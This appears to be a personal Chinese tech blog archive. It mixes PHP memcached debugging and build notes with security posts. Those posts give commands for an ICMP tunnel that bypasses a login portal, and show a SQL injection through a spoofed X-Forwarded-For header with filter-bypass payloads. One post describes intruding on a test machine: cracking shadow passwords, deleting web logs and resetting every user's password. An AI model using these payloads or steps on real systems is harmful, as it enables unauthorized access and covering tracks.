Sunday, February 21, 2010

使用 php_memcached 连 memcacheq 遇到的诡异问题

使用 php_memcached 连 memcacheq 遇到的诡异问题


服务器环境:
Centos 5.4 http://centos.org/
PHP 5.3.1 http://www.php.net/
php_memcached 1.0.0 http://pecl.php.net/package/memcached
libmemcached 0.37 http://tangent.org/552/libmemcached.html
libevent 1.4.13 http://www.monkey.org/~provos/libevent/
Memcacheq 0.2.0 http://memcachedb.org/memcacheq/

给 php_memcached 做了一次封装。其中有个方法是这样写的

<?php

/**
* Memcached Class
*
*/
class spAMLMemcached
{
private $mc;

......
/**
* get方法,增加批量模式
*
* @param string|array $key
* @param callback $cache_cb 批量模式不可用
* @param float|array $cas_token
* @param int $flags
* @return mixed
*/
public function get($key, $cache_cb=null, &$cas_token=null, $flags=null)
{
if (is_array($key)) {
return $this->mc->getMulti($key, $cas_token, $flags);
} else {
return $this->mc->get($key, $cache_cb, $cas_token);
}
}
......
}


方法看起来貌似没问题。
关于 Memcached::get 的说明:link to php manual;

Memcached::get

(PECL memcached >= 0.1.0)

Memcached::get — Retrieve an item

Description

public mixed Memcached::get ( string $key [, callback $cache_cb [, float &$cas_token ]] )
Memcached::get() returns the item that was previously stored under the key . If the item is found and cas_token variable is provided, it will contain the CAS token value for the item. See Memcached::cas for how to use CAS tokens. Read-through caching callback may be specified via cache_cb parameter.

Parameters

key
The key of the item to retrieve.

cache_cb
Read-through caching callback or NULL.

cas_token
The variable to store the CAS token in.

Return Values

Returns the value stored in the cache or FALSE otherwise. The Memcached::getResultCode will return Memcached::RES_NOTFOUND if the key does not exist.



从这里看也没啥问题。
但是,实际调用的时候,用了这样的代码。
<?php
$a = new spAMLMemcached;
$a->addServer('10.**.*.**', 22201);
var_dump($a->get('example'), $a->getResultCode());
var_dump($a->get('example', null), $a->getResultCode());


结果很遗憾,两个返回的都是false。
getResultCode 出来的结果是 8 即 Memcached::RES_PROTOCOL_ERROR 协议错误。

无法理解。
以前也没遇到过这个问题啊。
tcpdump 抓包看了看
tcpdump -XXAfN -ttt -i eth3  "ip dst 10.**.*.**"

包的数据居然是 。。。
..gets.example..


gets ...

如果仅仅是对 memcached 而言,这个没问题。高版本的memcached 都支持这个。
但是。。。用的是 Memcacheq
根本就不支持这个。
于是协议错误。。。


好吧,查原因。

最后写了个简单的测试代码。
<?php
$s = new Memcached;
$s->addServer('10.**.*.**', 22201);
var_dump($s->get('example'), $s->getResultCode());
var_dump($s->get('example', null), $s->getResultCode());

输出一切正常。
于是不由得怀疑起封装时对 &$cas_token=null 的处理。

做了如下的测试代码。

<?php
$q = new Memcached;
$q->addServer('10.**.*.**', 22201);
var_dump($q->get('example'), $q->getResultCode());
var_dump($q->get('example', null), $q->getResultCode());


echo "\nmcdgettest: \n";
var_dump(mcdgettest('example'), $q->getResultCode());
var_dump(mcdgettest('example', null), $q->getResultCode());

echo "\nmcdgettest1: \n";
var_dump(mcdgettest1('example'), $q->getResultCode());

echo "\nmcdgettest2: \n";
var_dump(mcdgettest2('example'), $q->getResultCode());

echo "\nmcdgettest3: \n";
var_dump(mcdgettest3('example'), $q->getResultCode());

echo "END\n\n";
unset($q);

$q = new Memcached;
$q->addServer('10.**.*.**', 22201);
var_dump($q->get('example'), $q->getResultCode());
var_dump($q->get('example', null), $q->getResultCode());

echo "\nmcdgettest3: \n";
var_dump(mcdgettest3('example'), $q->getResultCode());

echo "\nmcdgettest2: \n";
var_dump(mcdgettest2('example'), $q->getResultCode());

echo "\nmcdgettest1: \n";
var_dump(mcdgettest1('example'), $q->getResultCode());

echo "\nmcdgettest: \n";
var_dump(mcdgettest('example'), $q->getResultCode());
var_dump(mcdgettest('example', null), $q->getResultCode());

echo "END\n\n";
unset($q);

$q = new Memcached;
$q->addServer('10.**.*.**', 22201);
var_dump($q->get('example'), $q->getResultCode());
var_dump($q->get('example', null), $q->getResultCode());

echo "\nmcdgettest3: \n";
var_dump(mcdgettest3('example'), $q->getResultCode());

echo "\nmcdgettest1: \n";
var_dump(mcdgettest1('example'), $q->getResultCode());

echo "\nmcdgettest2: \n";
var_dump(mcdgettest2('example'), $q->getResultCode());

echo "\nmcdgettest: \n";
var_dump(mcdgettest('example'), $q->getResultCode());
var_dump(mcdgettest('example', null), $q->getResultCode());

echo "END\n\n";
unset($q);



function mcdgettest($key, $cache_cb=null, &$cas_token=null) {
global $q;
return $q->get($key, $cache_cb, $cas_token);
}

function mcdgettest1($key, $cache_cb=null) {
global $q;
return $q->get($key, $cache_cb);
}

function mcdgettest2($key, &$cas_token=null) {
global $q;
return $q->get($key, null, $cas_token);
}

function mcdgettest3($key) {
global $q;
return $q->get($key);
}



结果如下:

[root@localhost 3.53]: /data1/www/htdocs/i.sina.com.cn/source/apps/daemon/cron
0> php testMemcachedGet.php
int(140)
int(0)
int(141)
int(0)

mcdgettest:
bool(false)
int(8)
bool(false)
int(8)

mcdgettest1:
bool(false)
int(8)

mcdgettest2:
bool(false)
int(8)

mcdgettest3:
bool(false)
int(8)
END

int(142)
int(0)
int(143)
int(0)

mcdgettest3:
int(144)
int(0)

mcdgettest2:
bool(false)
int(8)

mcdgettest1:
bool(false)
int(8)

mcdgettest:
bool(false)
int(8)
bool(false)
int(8)
END

int(145)
int(0)
int(146)
int(0)

mcdgettest3:
int(147)
int(0)

mcdgettest1:
int(148)
int(0)

mcdgettest2:
bool(false)
int(8)

mcdgettest:
bool(false)
int(8)
bool(false)
int(8)
END


另外一边抓包

[root@localhost 3.53]: /data1/www/htdocs/i.sina.com.cn/source/datadrv/memcacheq
130> tcpdump -XXAfN -ttt -i eth3 "ip dst 10.**.*.**" | grep get
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth3, link-type EN10MB (Ethernet), capture size 96 bytes
0x0040: b19b 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b19c 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b19c 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b19d 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b19d 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b19e 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b19e 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b19f 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b19f 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b19f 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b1a0 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b1a0 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b1a1 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b1a1 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b1a2 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b1a2 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b1a2 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b1a2 6765 7420 6578 616d 706c 6520 0d0a ..get.example...
0x0040: b1a3 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
0x0040: b1a3 6765 7473 2065 7861 6d70 6c65 200d ..gets.example..
81 packets captured
82 packets received by filter
0 packets dropped by kernel


对着一行行看吧。

第一个结论很明显:对于每组测试,只要有一次进入 gets 那后边全都是 gets。
第二个结论就得一点点比较分析了,结论是:只要对 $cas_token 这个引用传值的参数进行了封装,后续的结果就会出错。

为了验证这个错误会不会对最基本的调用产生影响,我在 第二组测试的 321 的 2后边 直接 调用了 $q->get('example') 很遗憾,又是一个 protocol error.

而且,不知道大家注意了没有,从测试脚本输出的最后的false有三个,而抓包只有两个gets。我试着不在结束的时候ctrl+c,然后对跑了两次测试,终于最后位置有 三个 gets。


从源码分析。
首先看 libmemcached。因为 gets 的操作命令来自这里。
get.c 中:Line200 memcached_mget_by_key_real() 中

if (ptr->flags.support_cas)
{
get_command= "gets ";
get_command_length= 5;
}

这是唯一的有 gets 的地方。
于是下一步查哪儿修改了 ptr->flags.support_cas 的这个标志位。
定位到 behavior.c line 81 memcached_behavior_set() 函数内

case MEMCACHED_BEHAVIOR_SUPPORT_CAS:
ptr->flags.support_cas= set_flag(data);
break;


从 php_memcached 的 php_memcached.c 中 找到几次 MEMCACHED_BEHAVIOR_SUPPORT_CAS 的设置。
分别在

static void php_memc_get_impl(INTERNAL_FUNCTION_PARAMETERS, zend_bool by_key)
static void php_memc_getMulti_impl(INTERNAL_FUNCTION_PARAMETERS, zend_bool by_key)
static void php_memc_getDelayed_impl(INTERNAL_FUNCTION_PARAMETERS, zend_bool by_key)

第一个是 Memcached::get 方法所在的位置。



if (cas_token) {

uint64_t orig_cas_flag;

/*
* Enable CAS support, but only if it is currently disabled.
*/
orig_cas_flag = memcached_behavior_get(i_obj->memc, MEMCACHED_BEHAVIOR_SUPPORT_CAS);
if (orig_cas_flag == 0) {
memcached_behavior_set(i_obj->memc, MEMCACHED_BEHAVIOR_SUPPORT_CAS, 1);
}
......

/*
* Restore the CAS support flag, but only if we had to turn it on.
*/
if (orig_cas_flag == 0) {
memcached_behavior_set(i_obj->memc, MEMCACHED_BEHAVIOR_SUPPORT_CAS, orig_cas_flag);
}
return;

} else {
......

如果 $cas_token 这个变量传入了 就会进到这个if判断里。首先会强制开启 MEMCACHED_BEHAVIOR_SUPPORT_CAS 这个选项,当操作完整结束的时候,再将这个选项恢复。
这个的唯一的问题在于,Line 395

if (php_memc_handle_error(status TSRMLS_CC) < 0) {
memcached_result_free(&result);
RETURN_FALSE;
}

出错退出的时候,直接 free result 然后 return false,并未将 这个选项恢复。
等到下一次取这个对象的时候,因为这次已经设为真,即便下一次没走cas_token 的这个值,但是调用 memcached_mget_by_key 的时候,原始这个选项还是会污染新的操作,因为这一次不涉及到恢复这个选项的问题。
这就能解释 为什么 按 3 2 1 的顺序执行的代码 1 会被污染成protocol error.
解决方案是在
php_memcached.c line 395 :


if (php_memc_handle_error(status TSRMLS_CC) < 0) {
memcached_result_free(&result);
RETURN_FALSE;
}


RETURN_FALSE 前 做一次恢复。
即


if (php_memc_handle_error(status TSRMLS_CC) < 0) {
memcached_result_free(&result);

/*
* Restore the CAS support flag, but only if we had to turn it on.
*/
if (orig_cas_flag == 0) {
memcached_behavior_set(i_obj->memc, MEMCACHED_BEHAVIOR_SUPPORT_CAS, orig_cas_flag);
}

RETURN_FALSE;
}

Wednesday, February 3, 2010

编译 libmemcached 的 undefined reference to `__sync_fetch_and_add_4'

编译 libmemcached 0.37 结果出现这个错误。
  CC     clients/ms_thread.o
  CCLD   clients/memslap
clients/ms_conn.o: In function `ms_get_udp_request_id':
/data2/build/libmemcached-0.37/clients/ms_conn.c:184: undefined reference to `__sync_fetch_and_add_4'
clients/ms_conn.o: In function `ms_reconn_socks':
/data2/build/libmemcached-0.37/clients/ms_conn.c:1055: undefined reference to `__sync_fetch_and_add_4'
clients/ms_conn.o: In function `ms_reconn':
/data2/build/libmemcached-0.37/clients/ms_conn.c:924: undefined reference to `__sync_fetch_and_add_4'
/data2/build/libmemcached-0.37/clients/ms_conn.c:960: undefined reference to `__sync_fetch_and_add_4'
clients/ms_thread.o: In function `ms_setup_thread':
/data2/build/libmemcached-0.37/clients/ms_thread.c:215: undefined reference to `__sync_fetch_and_add_4'
clients/ms_thread.o:/data2/build/libmemcached-0.37/clients/ms_thread.c:198: more undefined references to `__sync_fetch_and_add_4' follow
collect2: ld returned 1 exit status
make[2]: *** [clients/memslap] Error 1
make[2]: Leaving directory `/data2/build/libmemcached-0.37'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/data2/build/libmemcached-0.37'
make: *** [all] Error 2

当时使用的参数是
./configure --prefix=/data2/server/ --with-libevent-prefix=/data2/server/
后来又是
./configure --prefix=/data2/server/ --with-libevent-prefix=/data2/server/  --disable-64bit
还是不行

后来绕墙看到了这个
libmemcached undefined reference to `__sync_fetch_and_add_4′
改configure参数为
./configure --prefix=/data2/server/ --with-libevent-prefix=/data2/server/   --disable-64bit CFLAGS="-O3 -march=i686"
make clean install 就好了

Saturday, January 23, 2010

顺手把新版本的 eAccelerator 编译了

上次编译大概是两周前吧,写makefile成功后的第二次编译,但是当时svn拿到的代码 php5.3.1 下编译有错,具体记不得了。
刚才svn update了下,改动不少。
重新export一份到 php-5.3.1\ext\eAccelerator 下,makefile.txt 依旧在 win32下。
Visual Studio 2008 Command Prompt 进到目录,直接 nmake -f makefile.txt 轻松成功。把当前目录生成的dll copy到 php53\ext 下,php -v php -m 都成功了。
顺手把 php 5.2 的源码目录和二进制目录都更新了。5.2.12。把eAccelerator 的目录也copy到了相应目录下。

5.3 和 5.2 的扩展编译的第一个区别是 buildconf + configure.

5.3 下上次编译的时候,直接解压的源码包,进到ext目录,nmake -f makefile.txt 貌似报错是 config.h 不存在还是什么的。回到 php 源码根目录,buildconf.bat && cscript configure.js 再去编译就好了。
当然需要把那个 php5ts.lib copy到 eAccelerator的目录里。

5.2 这次编译,我第一下也去 buildconf + configure 了,结果发现还需要把win32build 那个环境搭起来。印象中以前编译那些乱七八糟的扩展基本都没这么折腾。直接尝试去 nmake,一切顺利。不提示缺那个文件。
PS: VS2008下提示
        cl.exe /nologo ../optimize.c /Fo"optimize.o" /O1 /c /I ../../../ /I ../../../Zend /I ../../../TSRM /I ../../../main /I ../../ /D NDEBUG /D ZEND_DEBUG=0 /D WIN32 /D _WINDOWS /D _USRDLL /D HAVE_EACCELERATOR /D COMPILE_DL_EACCELERATOR /D ZEND_WIN32 /D PHP_WIN32 /D ZTS=1 /D HAVE_EXT_SESSION_PHP_
SESSION_H=1 /D WITH_EACCELERATOR_CRASH_DETECTION /D WITH_EACCELERATOR_OPTIMIZER /D WITH_EACCELERATOR_SESSIONS /D WITH_EACCELERATOR_CONTENT_CACHING /D WITH_EACCELERATOR_SHM /D WITH_EACCELERATOR_INFO
optimize.c
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\sys/stat.inl(44) : error C2466: cannot allocate an array of constant size 0
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\sys/stat.inl(49) : error C2466: cannot allocate an array of constant size 0
g:\build\phpbuild\vc9\x86\php-5.2.12\tsrm\readdir.h(10) : warning C4005: '_WIN32_WINNT' : macro redefinition
C:\Program Files\Microsoft SDKs\Windows\v6.1\include\sdkddkver.h(186) : see previous definition of '_WIN32_WINNT'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\sys/utime.inl(39) : error C2466: cannot allocate an array of constant size 0
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\sys/utime.inl(44) : error C2466: cannot allocate an array of constant size 0
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\sys/utime.inl(49) : error C2466: cannot allocate an array of constant size 0
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\sys/utime.inl(78) : error C2466: cannot allocate an array of constant size 0
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\wtime.inl(37) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\wtime.inl(43) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\time.inl(38) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\time.inl(44) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\time.inl(51) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\time.inl(57) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\time.inl(64) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\time.inl(69) : warning C4133: 'function' : incompatible types - from 'const time_t *' to 'const __time32_t *'
F:\Program Files\Microsoft Visual Studio 9.0\VC\INCLUDE\time.inl(81) : warning C4133: 'function' : incompatible types - from 'time_t *' to '__time32_t *'
NMAKE : fatal error U1077: '"F:\Program Files\Microsoft Visual Studio 9.0\VC\BIN\cl.exe"' : return code '0x2'


直接进到 源码的
\main\config.w32.h
注释掉
#define _USE_32BIT_TIME_T 1




不过,php 5.2 编译的时候,需要单独编译 eAccelerator 目录的 fnmatch.c 否则找不到符号
cl.exe /nologo php5ts.lib odbc32.lib odbccp32.lib /link /out:"eAccelerator.dll" optimize.o opcodes.o mm.o eaccelerator.o ea_store.o ea_dasm.o debug.o ea_info.o ea_restore.o /dll
Creating library eAccelerator.lib and object eAccelerator.exp
eaccelerator.o : error LNK2019: unresolved external symbol _fnmatch referenced in function _ea_match
eAccelerator.dll : fatal error LNK1120: 1 unresolved externals
NMAKE : fatal error U1077: '"F:\Program Files\Microsoft Visual Studio 9.0\VC\BIN\cl.exe"' : return code '0x2'
Stop.
php 5.3.1 的 fnmatch 直接在 php的源码包 \win32 下有了。

Friday, January 15, 2010

折腾@jwc

教务管理系统之烂,估计每个学校都各有特色。尤其是在这种*假学分制*前提的选课需求下,选课成了抢课,于是一群人“挤破脑壳”只为刷进系统选上一门老师“好”点的课。

理工教务处用的是“正方现代教学信息管理系统”。这个系统据了解是一群人做了套东西然后浙江大学挂名交钱才推广起来的。所以核心代码都在 /bin/zjdx.dll 浙江大学.dll lol。手头有一份06年弄到手的web系统文件,之前略微看过反编译出来的源码,验证了我找到的两个“疑似注入点”并否定了一个上传点。至于那个Delphi写的客户端,手脱壳之后,dede版本太低,看不了,于是就没折腾。

系统是 IIS + ASP.Net + Oracle。 应用和数据库分离,分别跑在windows和Solaris上。

选课这个功能也是用的这套系统的,但是由于这个系统本身很2的功能实现,基本选课人一多,页面就耍不开了。有时候辛辛苦苦刷开页面,却发现js菜单或者css没加载,而且这页面是IE only的 XD。更恶心的,基本每个页面都检查了referer,即便你看到了页面源码里的地址,直接copy到地址栏也没用。

于是第一个问题,页面的资源偏多,而且没有做任何缓存或者其他的处理,每次访问页面都会载入耗费大量的时间加载图片等。这些资源的处理也是交给IIS的。这种情况下,显然nginx更适合用来handle这种资源。但是如果剥离资源扔个nginx什么的,显然工作量很大。所以,前端配一个nginx高版本或者squid,把后端服务器的图片资源全缓存起来,应用服务器负载会小很多。
于是kangkai 配了一层squid,同时我也拿nginx最新版配了个proxy 加了cache。基本这样处理起来,把所有的请求都走代理过去,只要能刷开页面,基本就不会出现js菜单不加载的情况。不过恶心在url的处理上。

做了这些,于是建立在页面刷开的前提下的用户体验会改善些。
但是,系统的问题还是没有触及皮毛。
现在的系统,经常就出现 web application error 之类的红字警告,然后就是service unavailable了。想起去年选课期间教务处挂在操场上的喷绘,被人用黑笔写了很明显的 service unavailable。lol

某天去教务处机房,零距离接触了服务器。听说这种情况基本重启一下IIS就会好,不过过一会儿又会反复。想到 春生 之前提到的apache 定期 graceful 一下,让 kangkai 试试定时重启IIS。 按今天kangkai说的,这个有点用,不过最后负载又回到数据库上了,这是后话。

从教务处回来,突然想到,出现那种情况有可能是IIS虚拟主机资源分配的问题。以前教务处曾用过两个三个应用服务器,后来都被挪作他用了。据kangkai说现在这个应用服务器高峰期的资源占用也不算高。于是想到可以一台机器多开几个应用,前端的squid来做负载均衡。只是实验性的,因为对IIS资源分配问题也只是怀疑,没法说。只能试试。但是 service unavailabe 这样子感觉应该问题比 web application error 这个要底层,更像是IIS的问题,所以尝试还是有意义的,毕竟据我之前的观察,不同虚拟主机用的是不同的进程跑的。


最后得到的消息,就是刚才说的数据库。据说高峰期数据库服务器的负载上了20,三cpu的机器吧,有点太狠了。。。。
而且以前himo说的,那个系统对数据库简直是滥用,什么样的查询都有。
选课的时候,查询量肯定不会小,一累加就更大了。


可惜kangkai不是专门做技术维护的,只能这样了。

Wednesday, December 23, 2009

Proxy over ICMP

昨天下午开会突然间想到的问题。
最近公司用无线,总是连不上那个认证页面;有线接入又要先走认证接入系统。实在恶心。
不过,未认证的情况下,ping还是通的。也就是说,ICMP包应该是没有被drop掉的。
再联想到,之前研究过ping的数据格式,有个可以“不限长度”的数据段。
于是在设想能否用这个段实现应用层数据包的封装,进而以ICMP为载体作代理或者其他方式绕过这个认证接入系统。

晚上上网查了查,果然,这种东西已经有了现成的实现。
早上在测试机上下了个PingTunnel,去掉了SELinux的编译选项,直接make,然后本机开了个虚拟机,bridge了无线网卡。

服务器端直接
./ptunnel -v -f pt.log 
客户端
sudo ./ptunnel -p 10.abc.def.ghi -lp 12345 -v -da 10.abc.def.ghi -dp 22

然后客户端新开一个shell,
ssh -p 12345 localhost -l root
直接tunnel到了10.abc.def.ghi 的22端口,ssh。

如果目标端口,-dp那个选项,对应的是个socks代理,那就可以直接socks代理过去,其他同理。

http://en.wikipedia.org/wiki/ICMP_tunnel
Ping Tunnel
# EOF

Wednesday, December 16, 2009

两个注入的案例

同一个系统,看了看源码,发现两个问题。

1 IP的获取方式以及 HTTP_X_FORWARDED_FOR 过滤
这块儿,纯属之前测试微博内网接口外部访问成功之后,无聊得放不下,天然的敏感。
相关测试,见 这里 。

这次看到这个系统的一个用户界面,使用以前提到过的IP判断规则(简单说就是 HTTP_X_FORWARDED_FOR ? HTTP_X_FORWARDED_FOR : REMOTE_ADDR ) 来获取IP。
<?php
if ( $_SERVER['HTTP_X_FORWARDED_FOR'] != "" ) {
 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else if ( getenv( "REMOTE_ADDR" ) != "" ) {
 $ip = getenv( "REMOTE_ADDR" );
} else {
 $ip = "";
}

而后,在某个INSERT中,使用了这个$ip值。
<?php
$query = "INSER INTO ... SET ..., `ip`='".$ip."'";

问题其实很明显了。
HTTP_X_FORWARDED_FOR 这个头是可以人工加的。这点上边提到的文章里已经做过测试。这里唯一还要测试的,是如果构造畸形的数据,例如“127.0.0.1' -- ;”,或者简单点“127.0.0.1'”看看sql会不会出错。
想到这点,赶紧拿联盟的代码测试了下,结果出错了
Discuz! info: MySQL Query Error

Time: 2009-12-16 3:15pm
Script: /home.php

SQL: SELECT sid, status, username AS sessionuser, groupid, styleid, wordsonly FROM cdb_sessions WHERE sid='Gz0uB3lI' AND ip='127.0.0.1' and 1=1, 219.142.118.227, 10.1.10.5'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 219.142.118.227, 10.1.10.5'' at line 1
Errno.: 1064

Similar error report has beed dispatched to administrator before.
我在nginx里配的
proxy_set_header        X-Forwarded-For "127.0.0.1' and 1=1";

看到这里,立马给IP加了一次过滤。

于是再次和微博代码里的那个IP获取的方式做了比较:
与这里的代码获取方式相比,微博的代码中,对 HTTP_X_FORWARDED_FOR 的IP格式作了一次匹配,取出了一个符合IPv4规则的地址,也就是这个长串的第一部分,并没有简单地使用 ', ' 进行 explode。好处在于格式是确定的,不会因为IP格式收类似攻击;而不好的一点是,这样的处理方式,可以使用 HTTP_X_FORWARDED_FOR 进行IP欺骗。


2 变态的过滤。
这个变态过滤规则我记得之前提到过,基本代码如下:
<?php
function filter($str)
{
 $str = str_replace( array(" ", "'"), array(" ", '‘'), $str );
 $str = str_replace(arrau("%","&","|","=","+","\t","\r",), "", $str);
 return $str;
}

第一眼看到这个过滤,已然疯了。连 +=|&% 都过滤了,实在是变态。尤其是=,这个一过滤,即便有注入也很难,因为 1=1,1=2 已经不再有用了,更何况field=1这样的判断。
等等,真的不可用么?
1=1,1=2很好理解,只要这里等号两端没有空格,过滤之后数据应该是 11 或 12,形如
SELECT * FROM `tbl` WHERE 12
这样的语句很明显没问题,空格、跳格、回车被过滤了,那就\n或者/**/呗。
至于 field=1的判断。。。
hmm...
其实挺简单。
这些是以前写的
0/**/OR/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101


/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101

很难看是吧,能用就行了呗,自己写个代码拼串也不难,只是别把串弄得超过4k就行。


# EOF

Sunday, December 13, 2009

对某系统的测试

之前拿到过该系统的盘,本打算跟一下注册的算法,后来没时间折腾也就放弃了。不过那系统用得已经不能再恶心了。

前两天拿到某系统的测试机,一个8080的服务,一个ssh端口。直接上去拿到了一个root的webshell,但是恶心就恶心在,连 ls cp chmod 等等都没法用。不过当晚直接拿了 passwd 和 shadow 用jtr爆破,轻松拿到一个弱口令,不过权限很低,可以ssh。从某个虚拟机拿了个 /bin/ls 传上去,却忘记了默认写进去的文件没有 +x。于是从虚拟机上把一些基本命令 tar了一个包传了过去,解压到了 ~/bin 下,于是开始看系统的东西。基本没什么可用的,最后删了web日志,然后走人。

第二天所有的服务全关了,于是就没折腾。

等后来连上的时候,却发现之前弱口令的那个账户已经被删了,想自己添加帐户却没权限。最后不得不变态地直接写了个文件
123456
123456
然后
passwd < 1
passwd secadm < 1
passwd audadm < 1
把所有用户的密码都给改了。


今天折腾了会儿,看了看系统,注意了下MAC地址,00:0C:29:02:6B:1D,vmware的,于是想试试找找vmware tools,然后想尝试通过以前某几个版本的vmware tools的东西,看看能不能进宿主机。结果折腾着,折腾着,却在传vmware tools上出了麻烦,太大了,而且忘记了要找有漏洞的版本,只是一心想着vmware 7 :x。抓包看了看vmware 7 的更新功能,然后找到了softwareupdate.vmware.com 这个域,但是数据包是走443端口的,https可用,只是抓到的没法还原。后来上网搜,发现了
http://softwareupdate.vmware.com/cds/index.xml
顺藤摸瓜,找到了
https://softwareupdate.vmware.com/cds/vmw-desktop/ws/7.0.0/203739/linux/vmware-tools-linux-8.1.3-203739.i386.component.tar
wget下来,却没法用,不过庆幸自己wget前先装了screen,要不然肯定会断。



/bin 下几个不能用的文件ls -l 出来是这样的
[root@localhost bin]# ls -l | grep \?
?--------- ? ? ? ? ? chmod
?--------- ? ? ? ? ? cp
?--------- ? ? ? ? ? ls
?--------- ? ? ? ? ? rm
这个东西在我自己的虚拟机ssh上去的时候没遇到过。

/etc/passwd, /etc/shadow, /etc/group, /etc/gshadow 等几个文件用webshell检测的状态都是不可写的,直接vi 然后 :w! 也不行。这点我自己的虚拟机记得也是这样的。

sudoers修改加上的sudo权限不可用,可以从su切换到任意用户,但是无法从其他用户su到root下。




PS: 感谢 Jianyu Yang 的 ssh tunnel 以及提供账号的 fukui :P